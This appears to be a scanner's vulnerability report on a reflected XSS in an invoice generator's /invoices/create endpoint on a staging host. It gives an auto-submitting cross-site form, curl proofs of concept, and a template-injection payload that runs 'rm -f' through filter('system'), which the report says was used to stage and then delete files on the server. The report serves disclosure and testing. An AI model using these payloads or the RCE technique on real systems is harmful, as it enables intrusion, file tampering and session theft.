Reported as Medium by the scanning agent. Shown as Low because a reproduction re-tested this finding and the evidence supported a lower grade.
Reflected XSS in invoices/create - template echoed unescaped into Invoice Preview div
/invoices/createAttack Path
Business Impact
An attacker can run arbitrary JavaScript in the browser session of any QuickShop user who visits a malicious page, enabling session hijacking, credential theft, and unauthorized actions performed as the victim on the invoice system. Invoice and customer data entered through the generator could be exfiltrated, exposing PII such as customer names and financial details. Successful exploitation could lead to compliance violations, financial fraud, and reputational damage to the QuickShop brand.
Description
The POST template parameter of /invoices/create is reflected unescaped into the Invoice Preview section (<div class="preview-section">) of the response with no output encoding and no Content-Security-Policy header, so any HTML or script in the value executes in the browser of whoever triggers the request. Because the form carries no CSRF token, an attacker can host an auto-submitting cross-origin form to deliver the payload to any visiting victim's session on the QuickShop origin. Additionally, {{VARIABLE}} substitution into the template before rendering means injection via invoice fields such as customer_name reaches the same sink, while the editor textarea reflection of the same value is properly escaped, confirming the preview sink is distinct.
Proof of Concept
Setup
No authentication required. The form has no CSRF token, so cross-origin auto-submission delivers the payload. Verified with headless Chromium using a staged auto-submitting page (staged via the SSTI RCE on the same host purely to simulate attacker-hosted origin; the form itself is standard cross-site behavior).
Exploit
The attacker page (any origin) auto-submits this form to the target:
<form id=f method=POST action="http://storefront.example/invoices/create">
<input name="template" value="<img src=x onerror=window.__xss_fired=true>">
<input name="customer_name" value="Bob">
</form>
<script>f.submit()</script>
Direct curl equivalent (shows the raw reflection server-side):
curl -s -X POST http://storefront.example/invoices/create \
--data-urlencode 'template=<div class="inv"><img src=x onerror="window.__xss_fired=true"></div>' \
| grep -A2 'preview-section'
Verification
Server-side reflection - payload returned unescaped inside the preview section:
<div class="preview-section">
<div class="inv"><img src=x onerror="window.__xss_fired=true"></div> </div>
Browser execution - headless Chromium loaded the auto-submitting page, the form POSTed, and the wrapper reported pollutedWindowKeys: ["__xss_snapshot_base", "__xss_fired"], i.e. window.__xss_fired=true executed from the injected onerror handler on the QuickShop origin. Page title after submit: Invoice Generator - QuickShop.
Cleanup
The staged poc_xss.html helper files were removed from the server via the same RCE:
curl -s -X POST http://storefront.example/invoices/create \
--data-urlencode 'template={{["rm -f /app/[REDACTED-PATH] /app/[REDACTED-PATH] /app/[REDACTED-PATH]"]|filter("system")}}'
Observed Behavior
POSTing template=<img src=x onerror="window.__xss_fired=true"> returned HTTP 200 with the tag rendered raw inside <div class="preview-section"> while the textarea reflection of the same value was escaped. Headless Chromium confirmed in-browser execution via pollutedWindowKeys containing __xss_fired, and the response carries no Content-Security-Policy header.
Attack Scenarios
- 1
An attacker hosts a page with an auto-submitting form that POSTs a script payload to /invoices/create, causing attacker JavaScript to execute in the browser session of any victim who visits the page on the QuickShop origin.
- 2
Because {{VARIABLE}} values are substituted into the template before rendering, an attacker can inject a payload through invoice fields such as customer_name to reach the same unescaped preview-section sink.
- 3
Executed attacker scripts can steal session cookies, perform actions as the victim, or exfiltrate data entered into the invoice generator.
Triage & Management
Validation Status
Exploitability
Asset Information
Anonymized staging evaluation. Explore the full detail view; management actions are available in your own workspace.
Find issues in your app